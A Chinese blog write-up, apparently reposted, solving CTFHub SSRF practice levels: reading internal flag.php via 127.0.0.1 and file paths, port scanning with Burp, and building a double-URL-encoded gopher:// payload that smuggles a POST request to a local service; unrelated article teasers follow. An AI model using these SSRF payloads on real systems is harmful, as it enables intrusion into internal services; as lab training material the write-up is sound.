ctfhub靶场练习——SSRF攻击

news2024/9/22 9:56:33

文章目录

  • 前言
  • 关卡、内网访问
  • 关卡、伪协议读取文件
  • 关卡、端口扫描
  • 关卡、POST
    • 1、使用http协议查看本地的flag.php文件
    • 2、使用burp抓包,并发送到Repeater模块进行操作
    • 3、构造一个简单的POST请求:
    • 4、对构造的post请求进行url编码
      • 第一次编码:
      • 对第一次编码的换行符进行处理:
      • 第二次编码:
    • 5、把编码后的url拼接,然后发送


前言

靶场地址在:https://www.ctfhub.com/#/user/login

在这里插入图片描述
使用工具:
Burp Suite Professional抓包工具


关卡、内网访问

在这里插入图片描述

直接拼接:http://127.0.0.1/flag.php
在这里插入图片描述
通关


关卡、伪协议读取文件

在这里插入图片描述

输入window的正确地址:/var/www/html/flag.php
在这里插入图片描述

有东西,查看一下页面源码
在这里插入图片描述
通关


关卡、端口扫描

在这里插入图片描述

使用burp抓个包
在这里插入图片描述

然后对端口进行爆破扫描
在这里插入图片描述

扫出了8262端口有情况,登录看看
在这里插入图片描述
通关


关卡、POST

在这里插入图片描述

题目这里说了使用跟踪302跳转,这就要求使用gopher协议来解答,gopher可以理解为古早版本的http请求。

1、使用http协议查看本地的flag.php文件

在这里插入图片描述

查看页面源码:
在这里插入图片描述

发现这里有一个key=c6dd59e90eebad8e3b6bb36df8e12188。

2、使用burp抓包,并发送到Repeater模块进行操作

在这里插入图片描述

3、构造一个简单的POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c6dd59e90eebad8e3b6bb36df8e12188

注意:Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。这里“key=c6dd59e90eebad8e3b6bb36df8e12188”的长度就是36。

4、对构造的post请求进行url编码

第一次编码:

在这里插入图片描述

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188

对第一次编码的换行符进行处理:

对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A
在这里插入图片描述

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188

第二次编码:

在这里插入图片描述

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188

5、把编码后的url拼接,然后发送

注意:url在编码内容的前面有一个下划线,这个不能省略。

gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188

在这里插入图片描述
通关


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/708420.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【裸机开发】GPT 定时器(一) —— GPT的功能、寄存器解析

后续需要使用 GPT 计数器实现中断以及延时,这里我们需要先了解一下GPT的功能以及相关寄存器。 目录 一、GPT 定时器的功能 1、计数器 2、输入捕获 3、输出比较(GPT的两种工作模式) 二、寄存器解析 1、GPTx_CR 2、GPTx_PR 3、GPTx_SR …

Jetson Nano烧写系统镜像

Jetson Nano是一款形状和接口类似于树莓派的嵌入式主板,搭载了四核Cortex-A57处理器,GPU则是拥有128个NVIDIA CUDA核心的NVIDIA Maxwell架构显卡,内存为4GB的LPDDR4,60Hz视频解码。 1.烧录前准备 电源线(必备&#xf…

游戏陪玩语音聊天系统3.0商业升级独立版本源码

首发价值29800元的最新商业版游戏陪玩语音聊天系统3.0商业升级独立版本源码 1、增加人气店员轮播 2、优化ui界面丨优化游戏图标展示丨优化分类展示 3、增加动态礼物打赏功能 4、增加礼物墙功能 增加店员满足业绩,才能升级功能 5、增加店员等级不同,可接…

操作系统第4章习题

B 一个目录文件包含多个目录项 B. 在打开文件的时候还不用 只有在读文件的时候 才需要把数据读到内存中 C 不完整 D 在外存中 FCB不是文件控制块吗 为什么是文件目录项 文件属性:有的文件是只读的 访问控制的灵活性较高

【前端2】jquary,bootstrap,vue

文章目录 1.jquary:选择器1.1 jquery框架引入:$("mydiv") 当成id选择器1.2 jquery版本/对象:$(js对象) -> jquery对象1.3 jquery的页面加载事件:$ 想象成 window.onload 1.4 jquery的基本选择器:$()里内容…

7 拓展中断_事件控制器(EXTI)(STM32HAL库 )

目录 EXTI-扩展中断和事件控制器 事件的概念 EXTI-扩展中断和事件控制器 EXTI外设框图 F1/F4/F7(看懂与或门) H7 STM32CubeMX中的EXTI配置 EXTI-扩展中断和事件控制器 事件的概念 STM32上许许多多的外设,是通过内部信号来协同工作的。…

Android Compose Button defaultButtonColors

Android Compose Button defaultButtonColors 本文最新更新地址 https://gitee.com/chenjim/chenjimblog 发现问题 最近看 Android Compose 相关资料发现如下代码 colors defaultButtonColors( backgroundColor if (count > 5) Color.Green else Color.White )原文地…

从C语言到C++_23(多态)抽象类+虚函数表VTBL+多态的面试题

目录 1. 多态(polymorphism) 1.1 构成多态的两个条件 1.2 虚函数重写(覆盖) 1.3 协变构成多态 1.4 父虚子非虚构成多态 1.5 析构函数的重写 1.6 final 和 override 关键字(C11) 1.7 重载、覆盖、隐藏的对比 2. 抽象类&am…

通信接口和通信方式总结

通信接口和通信方式总结 一、通信接口主要的5种类型二、通信方式2.1 并行和串行2.2 单工、半双工及全双工通信2.3 串行通信分类 - 同步\异步2.4 波特率 Baud Rate 三、串联设备的接口类型 - 网口和串口3.1 串口 - COM口3.1.1 基本介绍及应用3.1.2 接线方式 - 232、422、485接线…

时序预测 | MATLAB实现PSO-GRU(粒子群优化门控循环单元)时间序列预测

时序预测 | MATLAB实现PSO-GRU(粒子群优化门控循环单元)时间序列预测 目录 时序预测 | MATLAB实现PSO-GRU(粒子群优化门控循环单元)时间序列预测预测效果基本介绍模型介绍PSO模型GRU模型PSO-GRU模型 程序设计参考资料致谢 预测效果 基本介绍 Matlab基于PSO-GRU粒子群算法优化门…

【vue3-element-admin 】基于 Vue3 + Vite4 + TypeScript5+ Element-Plus 从0到1搭建企业级后台管理系统(前后端开源)

vue3-element-admin 是基于 vue-element-admin 升级的 Vue3 Element Plus 版本的后台管理前端解决方案,技术栈为 Vue3 Vite4 TypeScript Element Plus Pinia Vue Router 等当前主流框架。 相较于其他管理前端框架,vue3-element-admin 的优势在于一…

Docker中安装Nginx

查看可以安装的Nginx版本: docker search nginx 下载最新版本: docker pull nginx :latest 可以省略 运行容器: docker run -itd --name my_nginx -p 80:80 nginx 在主机通过 https://localhost:80或者 http://192.168.40.100:80可以访问 如果之前创…

Java阶段四Day10

Java阶段四Day10 文章目录 Java阶段四Day10关于RedisRedis的数据类型Redis中的list类型Redis的常用命令关于Key的格式Redis编程使用Redis时的数据一致性问题 关于ApplicationRunnerLoadCacheRunnerContentCategoryServiceImpl 计划任务ScheduleConfigurationCategoryCacheSched…

已烧写过的镜像重新烧镜像教程

本教程是已经烧录过镜像的SD卡,无法被电脑识别盘符导致无法重新烧录镜像的教程。一般是win7系统无法识别烧录过的Ubuntu系统盘符。win10可以使用SDformat软件格式化。 1.确定读卡器是否识别到SD卡。 点击计算机右键选择“管理”,选择磁盘管理&#xff0…

Vue3中Vuex的基本使用

src/store/uuidState.js const uuidState {namespaced: true,state: {uuid: "",state_tag: "",},// 要想改变state中的数据必须使用mutations的方法mutations: {changeUuid(state, value) {state.uuid value;},changeTag(state, value) {state.state_ta…

如何通过空号检测,验证电话号码数据的准确性

引言 空号检测 API 接口通常与电话号码数据库或相关的电话服务提供商进行交互,使用验证算法和查询技术来确定电话号码的状态。通过该接口,开发者可以通过编程方式对电话号码进行验证,帮助验证号码的有效性,确保数据的准确性和可靠…

HJ76 尼科彻斯定理

描述 验证尼科彻斯定理,即:任何一个整数m的立方都可以写成m个连续奇数之和。 例如: 1^31 2^335 3^37911 4^313151719 输入一个正整数m(m≤100),将m的立方写成m个连续奇数之和的形式输出。 数…

vmware17安装群辉6.2懒人包

懒人包下载 链接:https://pan.baidu.com/s/1onGpM3BLIKUuxs10lLM83A?pwdcmdr 提取码:cmdr --来自百度网盘超级会员V5的分享 解压安装 如果已经安装了vmware软件的话,直接双击打开即可 上图说明安装成功 点击搜索 , 会出现服务…

0-1BFS 双端队列 广度优先搜索

一. BFS及0-1BFS的简单介绍 深度优先搜索DFS和广度优先搜索BFS是经常使用的搜索算法,在各类题目中都有广泛的应用。 深度优先搜索算法(英语:Depth-First-Search,DFS)是一种用于遍历或搜索树或图的算法。其过程简要来说…

pwn学习day3——函数调用约定

文章目录 x32 cdecl调用约定x64 System V AMD64 ABI调用约定 规定函数调用时如何传递参数,如何返回值,如何进行栈管理 x32 cdecl调用约定 参数从右往左依次压入栈中,返回值存入eax寄存器中,由调用者清理栈上的参数。 测试程序: …